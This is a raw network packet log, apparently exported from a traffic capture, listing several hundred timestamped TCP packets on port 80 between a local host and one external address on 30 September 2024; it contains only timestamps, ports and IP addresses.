Sep 30, 2024 13:59:45.182684898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182696104 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182724953 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182754993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182765961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182781935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182785988 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182792902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182804108 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182812929 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182816029 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182837009 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182852030 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182903051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182914019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182925940 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182935953 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182936907 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182946920 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182952881 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182962894 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182964087 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182975054 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182985067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.182991028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.182995081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.183016062 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.183039904 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.184952974 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185041904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185054064 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185066938 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185075045 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185085058 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185086012 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185096025 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185112000 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185128927 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185137987 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185141087 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185148954 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185164928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185170889 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185197115 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185215950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185226917 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185236931 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185249090 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185267925 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185275078 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185280085 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185295105 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185317039 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185358047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185369015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185378075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185388088 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185401917 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185415983 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185426950 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185446978 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185453892 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185456991 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185468912 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185480118 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185483932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185492992 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185511112 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185530901 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185534954 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185545921 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185555935 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185566902 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185580969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185595036 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185595989 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185619116 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185631990 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.185700893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185760021 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185772896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.185811043 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186186075 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186224937 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186258078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186270952 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186306000 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186319113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186328888 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186330080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186341047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186348915 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186378002 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186521053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186532021 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186541080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186553955 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186558008 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186578035 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186580896 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186589003 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186598063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186604977 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186609030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186619997 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186630011 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186641932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186655045 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186656952 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186666965 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186677933 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186682940 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186691999 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186693907 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186705112 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186714888 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186724901 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186733007 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186752081 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186765909 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186785936 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186810017 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186820030 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186825991 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186831951 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186842918 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186852932 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186863899 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186866045 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186873913 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186889887 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186894894 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186901093 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186913013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.186913967 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186938047 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186965942 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.186996937 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187009096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187020063 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187031031 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187041998 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187045097 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187057018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187068939 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187073946 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187092066 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187108994 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187143087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187160015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187170982 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187177896 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187181950 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187191963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187203884 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187206984 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187213898 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187235117 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187252045 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187283993 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187308073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187318087 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187330008 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.187355995 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.187371969 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.270515919 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270653963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270670891 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270682096 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270694017 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270704985 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270709991 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.270716906 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270728111 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270759106 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.270777941 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.270972013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.270996094 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271006107 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271034956 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271059036 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271066904 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271071911 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271094084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271096945 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271105051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271116018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271119118 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271126986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271141052 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271168947 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271184921 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271203995 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271214962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271226883 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271239042 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271250963 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271276951 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271305084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271316051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271328926 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271342039 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271344900 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271362066 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271367073 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271370888 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271378040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271397114 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271404028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271404028 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271408081 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271420956 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271428108 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271431923 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271447897 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.271456003 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.271481037 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273555040 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273600101 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273691893 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273705006 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273716927 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273729086 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273740053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273749113 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273777962 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273786068 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273787975 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273799896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273809910 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273814917 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273822069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273832083 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273844004 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273854971 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273880005 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273895979 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273907900 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273916960 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273927927 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273932934 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273950100 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273957014 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273961067 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273972988 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273982048 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.273983002 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.273996115 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274022102 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274122953 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274135113 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274144888 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274152994 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274163961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274169922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274175882 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274187088 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274187088 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274204969 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274211884 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274215937 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274245024 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274262905 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274271011 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274274111 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274285078 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274305105 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274327040 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274380922 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274390936 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274401903 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274408102 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274419069 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274439096 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274467945 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274477959 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274487019 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274497032 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274519920 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274533033 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274534941 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274543047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274554968 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274565935 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274580002 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274604082 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274687052 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274708986 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274722099 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274723053 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274743080 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274754047 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274759054 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274765015 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274777889 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274782896 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274786949 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274796963 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274806976 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274811983 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274823904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274833918 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274841070 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274851084 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274852991 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274862051 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274873018 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.274873972 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274895906 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.274919987 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275023937 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275034904 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275046110 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275057077 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275058985 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275067091 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275078058 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275088072 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275103092 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275109053 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275115013 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275124073 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275125980 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275136948 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275146961 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275152922 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275157928 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275168896 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275183916 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275207043 CEST	49727	80	192.168.2.6	46.8.231.109
Sep 30, 2024 13:59:45.275224924 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275234938 CEST	80	49727	46.8.231.109	192.168.2.6
Sep 30, 2024 13:59:45.275245905 CEST	80	49727	46.8.231.109	192.168.2.6
